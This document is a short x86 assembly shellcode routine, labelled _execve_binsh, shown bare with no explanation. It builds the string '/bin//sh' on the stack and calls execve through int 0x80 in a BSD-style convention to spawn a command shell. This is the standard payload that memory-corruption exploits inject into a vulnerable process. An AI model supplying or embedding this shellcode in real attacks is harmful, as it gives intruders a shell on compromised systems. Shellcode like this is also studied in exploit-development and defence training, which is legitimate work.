_execve_binsh:
xor eax, eax
push eax ; "\0\0\0\0"
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp
push eax ; envp
push eax ; argv
push ebx ; path
push eax ; spacer
mov al, 59 ; SYS_execve
int 0x80